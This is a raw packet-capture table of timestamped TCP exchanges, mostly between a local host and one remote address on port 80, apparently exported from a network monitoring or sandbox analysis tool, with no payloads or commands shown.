Nov 18, 2024 13:29:44.163459063 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.163470984 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.163480043 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.163508892 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.163522005 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.163528919 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.163548946 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.163548946 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.163599014 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.163710117 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.163849115 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.163861990 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.163882971 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.163894892 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.163908005 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.163914919 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.163928032 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.163932085 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.163950920 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.164154053 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.164313078 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.164328098 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.164355993 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.164547920 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.164781094 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.164793968 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.164805889 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.164872885 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.164872885 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.164932966 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.164943933 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.164956093 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.164962053 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.165117025 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.165278912 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.165292025 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.165302992 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.165374041 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.165374041 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.201175928 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.201194048 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.201299906 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.201299906 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.201318026 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.201337099 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.201366901 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.201503038 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.201514959 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.201658010 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.201670885 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.201684952 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.201688051 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.201698065 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.201710939 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.201724052 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.201731920 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.201731920 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.201802015 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.201814890 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.201833963 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.201873064 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.201873064 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.202270985 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.202284098 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.202297926 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.202308893 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.202322006 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.202336073 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.202336073 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.202486038 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.242470026 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.242495060 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.242511988 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.242630959 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.280471087 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.280492067 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.280505896 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.280520916 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.280543089 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.280553102 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.280558109 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.280577898 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.280663967 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.280693054 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.280754089 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.280766964 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.280780077 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.280824900 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.280901909 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.280931950 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.280942917 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.280955076 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.280967951 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.280997038 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.281106949 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.281187057 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.281198978 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.281215906 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.281232119 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.281258106 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.281444073 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.281552076 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.281583071 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.281881094 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.281910896 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.281939983 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.281953096 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.281985044 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.282052040 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.282057047 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.282072067 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.282084942 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.282098055 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.282124996 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.282146931 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.282164097 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.282231092 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.282246113 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.282258034 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.282270908 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.282284975 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.282294989 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.282350063 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.318377972 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.318404913 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.318418026 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.318432093 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.318456888 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.318479061 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.318479061 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.318479061 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.318492889 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.318506002 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.318535089 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.318553925 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.318991899 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.319039106 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.319044113 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.319051027 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.319078922 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.319104910 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.319111109 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.319147110 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.319221973 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.319235086 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.319247007 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.319258928 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.319268942 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.319283009 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.319310904 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.319346905 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.319386005 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.319418907 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.319431067 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.319446087 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.319463968 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.319475889 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.319494009 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.319515944 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.319552898 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.321696997 CET	49780	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:44.321717978 CET	443	49780	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:44.322330952 CET	49779	443	192.168.2.8	172.64.41.3
Nov 18, 2024 13:29:44.322349072 CET	443	49779	172.64.41.3	192.168.2.8
Nov 18, 2024 13:29:44.359734058 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.359798908 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.359797955 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.359813929 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.359827995 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.359841108 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.359864950 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.397803068 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.397825003 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.397838116 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.397851944 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.397864103 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.397862911 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.397886992 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.397897005 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.397922039 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.397941113 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.397948027 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.397985935 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.398006916 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.398051977 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.398108006 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.398122072 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.398149014 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.398179054 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.398314953 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.398360968 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.398363113 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.398374081 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.398396969 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.398406982 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.398416042 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.398421049 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.398443937 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.398456097 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.398483992 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.398524046 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.400209904 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.400239944 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.400259972 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.400263071 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.400295019 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.400310993 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.400322914 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.400336027 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.400350094 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.400362015 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.400362015 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.400381088 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.400420904 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.400731087 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.400748968 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.400765896 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.400787115 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.400796890 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.400796890 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.400796890 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.400801897 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.400816917 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.400829077 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.400839090 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.400839090 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.400844097 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.400859118 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.400882959 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.435664892 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.435687065 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.435700893 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.435720921 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.435724020 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.435739994 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.435743093 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.435755968 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.435766935 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.435775995 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.435795069 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.435810089 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.436408997 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.436425924 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.436444044 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.436467886 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.436469078 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.436486006 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.436490059 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.436542034 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.436556101 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.436566114 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.436608076 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.436608076 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.436608076 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.436646938 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.436655998 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.436669111 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.436697006 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.436712980 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.436737061 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.436752081 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.436774969 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.436789036 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.436970949 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.437006950 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.437030077 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.437045097 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.437067986 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.437082052 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.437134027 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.437146902 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.437174082 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.437186956 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.477219105 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.477245092 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.477258921 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.477291107 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.477325916 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.515398026 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.515434027 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.515448093 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.515454054 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.515471935 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.515522957 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.515525103 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.515542984 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.515577078 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.515594006 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.515597105 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.515616894 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.515633106 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.515641928 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.515652895 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.515657902 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.515666962 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.515681982 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.515683889 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.515707016 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.515742064 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.515876055 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.515887976 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.515902996 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.515913963 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.515928030 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.515949965 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.516537905 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.516570091 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.516585112 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.516591072 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.516607046 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.516617060 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.516650915 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.516661882 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.516686916 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.516700983 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.516714096 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.516753912 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.516788960 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.516803026 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.516843081 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.516880035 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.516916037 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.517024040 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.517110109 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.517123938 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.517137051 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.517165899 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.517201900 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.517215014 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.517227888 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.517252922 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.517268896 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.552942991 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.552973032 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.552985907 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.552999973 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.553060055 CET	80	49829	185.215.113.16	192.168.2.8
Nov 18, 2024 13:29:44.553076982 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.553076982 CET	49829	80	192.168.2.8	185.215.113.16
Nov 18, 2024 13:29:44.553102016 CET	49829	80	192.168.2.8	185.215.113.16
